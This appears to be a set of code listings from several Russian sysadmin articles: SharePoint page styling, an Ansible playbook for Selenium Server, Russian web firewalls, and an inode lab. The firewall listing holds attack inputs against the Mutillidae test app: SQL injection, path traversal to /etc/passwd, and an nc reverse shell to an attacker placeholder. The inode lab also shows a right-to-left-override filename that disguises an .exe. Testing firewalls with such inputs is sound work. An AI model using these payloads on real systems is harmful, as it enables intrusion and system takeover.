Работа с MS SharePoint 2016. Часть 1. Знакомство со стандартной конфигурацией
Сергей Болдин


<div style="; font-weight:bold;font-size:30px; color:#0084b4; text-align:left">
<img src="/sites/docs/SiteAssets/SitePages/main/pic1.jpg" style="vertical-align: middle;" />
Документы СИСТ</div>



<input type="button" value=" Документы отдела ИТ" style="float:left; margin-bottom:10px; width:480px; height:50px; font-weight:bold; font-size:15px; color:#0084b4"; onclick="location.href='http://srv-share/sites/docs/SitePages/it.aspx'" >



<style type='text/css'>
\\Раздвинуть столбец ИЗМЕНЕНО
.ms-vh-div[DisplayName='Изменено']
{width:150px;}

\\Раздвинуть столбец ИМЯ
.ms-vh-div[DisplayName='Имя']
{width:300px;}

\\Раздвинуть столбец '…'
.ms-list-itemLink-td
{width:50px;}
</style>



<style>
#WebPartWPQ2
{font-size:18px}
</style>



<style type='text/css'>
.ms-core-pageTitle
{display: none;}
</style>



<style type='text/css'>
div {
   background: url(/sites/docs/SiteAssets/SitePages/main/fon1.jpg);
   background-repeat: repeat;}
</style>



<style>
input[type=button]:color
{background-color:#C0C0C0;}

input[type=button]:hover
{background-color:#eaeaea;}
</style>

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HOWTO: playbook Ansible для Selenium Server
Сергей Яремчук


$ nano group_vars/selenium/vars.yml

chromedriver: 2.31
geckodriver: v0.18.0
selenium:
  ports:
     - '4444'
     - '4445'
  version: 3.5.3


 
selenium.yml 

- hosts: selenium
  become: True
  become_method: sudo
  roles:
    - java
    - selenium



roles/java/tasks/main.yml

- name: add repo for java 8
  apt_repository:
    repo: 'ppa:webupd8team/java'



- name: configure java 8 installation
  debconf:
    name: oracle-java8-installer
    question: shared/accepted-oracle-license-v1-1
    value: 'true'
    vtype: select



- name: install java 8
  apt:
    name: '{{item}}'
    update_cache: True
    cache_valid_time: 3600
  with_items:
    - oracle-java8-installer
    - oracle-java8-set-default



$ nano roles/selenium/tasks/main.yml



- name: Add Google signing key
  apt_key:
    url: 'https://dl-ssl.google.com/linux/linux_signing_key.pub'
    state: present
- name: Add Chrome repo
  apt_repository:
    repo: 'deb http://dl.google.com/linux/chrome/deb/ stable main'
    filename: 'google-chrome'



- name: Install browser
  apt:
      pkg: "{{ item }}"
      state: present
      update_cache: yes
      cache_valid_time: 3600
  with_items:
    - xvfb
    - firefox
    - google-chrome-stable



- name: Create selenium directory
  file:
    path: /opt/selenium
    state: directory



- name: Download Selenium
  get_url:
    url: "http://selenium-release.storage.googleapis.com/{{ selenium.version | regex_replace('\\.[0-9]+$', '') }}/selenium-server-standalone-{{ selenium.version }}.jar"
    dest: "/opt/selenium/selenium-server-standalone.jar"
	

	
- name: Download and untar geckodriver tarball
  unarchive:
    src: "https://github.com/mozilla/geckodriver/releases/download/{{ geckodriver }}/geckodriver-{{ geckodriver }}-linux64.tar.gz"
    dest: "/usr/bin"
    copy: no
    creates: "/usr/bin/geckodriver"

- name: download and unzip chromedriver tarball
  unarchive:
    src: "http://chromedriver.storage.googleapis.com/{{ chromedriver }}/chromedriver_linux64.zip"
    dest: "/usr/bin"
    copy: no
    creates: "/usr/bin/chromedriver"
	
	

- name: Create selenium systemd files
  template:
    src: selenium.service.j2
    dest: "/etc/systemd/system/selenium-{{ item }}.service"
  with_items: '{{ selenium.ports }}'
  
  

- name: Enable selenium. service
  systemd:
    name: "selenium-{{ item }}.service"
    enabled: true
    daemon_reload: yes
    state: restarted
  with_items: '{{ selenium.ports }}'
  
  
  
xvfb-run -a -s "-screen 0 1920x1080x24" /usr/bin/java -jar /opt/selenium/selenium-server-standalone.jar -port 4444



[Unit]
Description=Selenuim
After=syslog.target

[Service]
User=root
Environment=DBUS_SESSION_BUS_ADDRESS=/dev/null
ExecStart=/usr/bin/xvfb-run -a -s "-screen 0 1920x1080x24" /usr/bin/java -jar /opt/selenium/selenium-server-standalone.jar -port {{ item }} -log /var/log/selenium-{{ item }}.log
SuccessExitStatus=0
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

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Российские межсетевые экраны для веб
Андрей Бирюков


<a target="_blank" data-href="http://google.ru/" href="/m/redirect?url=http%3A//zxxx.ru/goto/2808901726/232612/aHR0вDovL2xpbmszMC5uZXQvazByM24%3D&amp;hash=1058cfdfaba0dc7692e751e1c0c21ded">Поиск</a>



'or 1=1--



/mutillidae/index.php?page=../../../../etc/passwd



/mutillidae/index.php?page=../../../../../tmp/shell.php&cmd=/bin/nc+[attacker-ip]:+8080+-e+/bin/bash



/mutillidae/index.php?page=phpinfo.php

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Лабораторная работа: исследуем inode. Часть 1. Взаимодействие с inode через стандартные программы на пользовательском уровне (подготовка и проведение)
Павел Закляков


# adduser user
# passwd user



# yum -y install tree man man-pages-ru gpm-libs



# yum -y install lde



# rpm -ihv lde-2.6.1-4.el6.x86_64.rpm



guest  ALL=(ALL)  NOPASSWD: /bin/mount -o loop disk100ext2 /mnt/ext2
guest  ALL=(ALL)  NOPASSWD: /bin/mount -o loop disk100ext4 /mnt/ext4
guest  ALL=(ALL)  NOPASSWD: /bin/umount /mnt/ext2
guest  ALL=(ALL)  NOPASSWD: /bin/umount /mnt/ext4
guest  ALL=(ALL)  NOPASSWD: /bin/mount -o loop,user_xattr,acl disk100ext2 /mnt/ext2
guest  ALL=(ALL)  NOPASSWD: /bin/mount -o loop,user_xattr,acl disk100ext4 /mnt/ext4
guest  ALL=(ALL)  NOPASSWD: /usr/sbin/setcap cap_sys_admin+ep /mnt/ext2/file1
guest  ALL=(ALL)  NOPASSWD: /usr/sbin/setcap cap_sys_admin+ep /mnt/ext4/file1



# mkdir /mnt/ext2
# mkdir /mnt/ext4



$ mkdir dir1
$ cd dir1
$ touch file1
$ mkdir dir2



$ ln file1 hard_link_to_file1



$ ln file1 dir2/hard_link_to_file1



$ find ~/dir1 -inum 123456 -print
$ find ~/dir1 -inum 123456 -exec ls -l {} +



$ mkdir aa$'\xe2\x81\x84'bb
$ touch pic$'\xe2\x80\xae'gpj.exe
$ touch "aa?b"
$ touch `printf "aa\bb"`
$ touch $(printf "aa\bb")



$ ls -l



$ rm aa?b
$ ls -l



$ ls -1 -q|grep aa



$ ls -1|od -A n -t ax1

$ ls -1|grep aa|od -A n -t ax1



$ touch pic$'\xe2\x80\xae'gpj.exe
$ ls -1

$ rm picgpj.exe



$ rm pic



$ rm picgpj.exe



$ touch pic$'\xe2\x80\xae'gpj.exe
$ ls -1

$ rm |



touch file0



echo -n "1">>fileX



echo -n "2">>fileY



echo -n "1234567890">>fileZ



$ i=1; while [ $i -le 60 ] ;do echo -n "1" >>file60; let i=i+1;  done
$ dd if=/dev/zero of=file60 bs=1 count=60



$ touch 1
$ touch 12
$ touch 1234567890…1234567890123456-59
$ touch 1234567890…12345678901234567-60
$ touch 1234567890…123456789012345678-61



$ touch ы
$ touch ыы
$ touch абвгдеёжзийклмнопрстуфхцчшщьы
$ touch абвгдеёжзийклмнопрстуфхцчшщьыъ
$ touch абвгдеёжзийклмнопрстуфхцчшщьыъэ
	
	
	
$ ln -s 1 link-1
$ ln -s 12 link-12
$ ln -s 123…123456-59 link-123...6-59
$ ln -s 123…1234567-60 link-123...67-60
$ ln -s 123…12345678-61 link-123...678-61
$ ln -s ы link-ы
$ ln -s ыы link-ыы
$ ln -s абв…щьы link-абв…щьы
$ ln -s абв…щьыъ link-абв…щьыъ
$ ln -s абв…щьыъэ link-абв…щьыъэ

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